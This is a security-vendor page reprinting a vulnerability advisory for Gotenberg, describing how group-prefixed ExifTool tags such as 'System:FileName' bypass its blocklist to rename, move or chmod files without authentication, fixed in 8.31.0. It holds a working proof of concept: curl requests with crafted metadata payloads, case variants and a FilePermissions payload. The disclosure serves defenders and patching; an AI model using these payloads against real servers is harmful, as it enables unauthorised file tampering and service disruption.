Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-40893 — gotenberg

🟠 CVSS 8.2 — High ✅ No Known Exploit NVD
8.2
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Gotenberg has an ExifTool Dangerous Tag Blocklist Bypass via Group-Prefixed Tag Names that Allows Arbitrary File Rename and Move

Summary

Gotenberg blocks certain ExifTool tag names like FileName and Directory to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag — System:FileName — which does the exact same thing. Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough.

This bypasses the fix from [GHSA-qmwh-9m9c-h36m](https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m).

Details

Think of it like a nightclub bouncer with a blocklist of banned names. The blocklist says "Block anyone named John." A person shows up and says "I'm Mr. John." The bouncer checks — "Mr. John" is not "John" — so he lets them in. But inside the club, everyone knows Mr. John IS John.

That's exactly what happens here:

The blocklist (exiftool.go line 275-280) blocks these tag names:

```

FileName

Directory

HardLink

SymLink

```

The check (exiftool.go line 295-301) compares what the user sent against this list:

```go

if strings.EqualFold(key, tag) { // is "System:FileName" equal to "FileName"?

delete(metadata, key) // no — so it's NOT deleted

}

```

System:FileName is not equal to FileName (one is 16 characters, the other is 8), so it passes through.

But ExifTool treats them as the same thing. In ExifTool, System: is just a group prefix — like a folder name before the tag. System:FileName and FileName both mean "rename this file." The [ExifTool docs](https://exiftool.org/exiftool_pod.html) say: *"A tag name may include leading group names separated by colons."*

Why the colon is allowed: The key validation regex (exiftool.go line 31) explicitly permits colons:

```go

var safeKeyPattern = regexp.MustCompile(^[a-zA-Z0-9\-_.:]+$)

// ^ colon is allowed

```

So the full chain is:

1. Attacker sends System:FileName → passes the regex (colon is allowed)

2. System:FileName → passes the blocklist (it's not equal to FileName)

3. ExifTool receives System:FileName → treats it as FileNamerenames the file

Bonus finding: The FilePermissions tag is not in the blocklist at all. Sending {"FilePermissions": "rwxrwxrwx"} tells ExifTool to chmod the file, and nothing stops it.

PoC

Setup — start Gotenberg with default settings:

```bash

docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8

```

Create a folder inside the container where we'll move the file to:

```bash

docker exec gotenberg-poc mkdir -p /tmp/evil

```

Send the attack — one curl command:

```bash

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \

-F '[email protected]' \

-F 'metadata={"System:FileName":"stolen.pdf","System:Directory":"/tmp/evil"}'

```

This returns HTTP 404 because the file got moved before the server could return it.

Check that the file actually moved:

```bash

docker exec gotenberg-poc ls -la /tmp/evil/

```

Result:

```

-rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdf

```

The file is sitting in /tmp/evil/stolen.pdf. It was renamed from its random UUID name to stolen.pdf and moved out of the temporary directory — exactly what the blocklist was supposed to prevent.

Proof that the existing blocklist works for bare names (control test):

```bash

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \

-F '[email protected]' \

-F 'metadata={"FileName":"stolen.pdf","Directory":"/tmp/evil"}'

```

This returns HTTP 500 — the bare FileName tag was correctly blocked. Only the System:FileName variant gets through.

Other ways to exploit the same bug:

  • system:filename (lowercase) — also works because ExifTool is case-insensitive
  • system:directory — moves the file to any writable folder
  • FilePermissions — changes the file's permissions (this tag is simply missing from the blocklist entirely)

Every endpoint that accepts the metadata field is affected, including /forms/chromium/convert/html, /forms/libreoffice/convert, /forms/pdfengines/merge, and all other conversion routes.

Impact

Any person who can send HTTP requests to Gotenberg (no login needed by default) can:

  • Move files anywhere inside the container by using System:Directory
  • Rename files to anything by using System:FileName
  • Change file permissions by using FilePermissions (this tag is not blocked at all)
  • Break the service for other users — when a file gets moved mid-request, the server returns 404 errors

In real-world deployments where Gotenberg shares a Docker volume with other services (which is common), an attacker can drop a PDF file with controlled content into that shared folder

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability low.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: Low — limited, and the attacker does not choose what is affected.

Affected software

CVE-2026-40893 is recorded against 3 packages.

  • github.com/gotenberg/gotenberg/v7
  • github.com/gotenberg/gotenberg/v8
  • gotenberg (fixed in 8.31.0)

Timeline and source

Published on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Advisory)
nvd.nist.gov (Advisory)

Other advisories for this package

github.com/gotenberg/gotenberg/v7 has other advisories on record. If you are patching this one, these are worth checking on the same host:

Details

Severity High
CVSS Score 8.2
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
CWE N/A
Public Exploit ✅ No
Source NVD
Published 2026-06-25
Updated 2026-08-20
Modified 2026-06-25
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/gotenberg/gotenberg/v7
github.com/gotenberg/gotenberg/v8
gotenberg 8.31.0

Similar Threats

Site Security Check

Is gotenberg part of your stack?

CVE-2026-40893 is rated CVSS 8.2 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026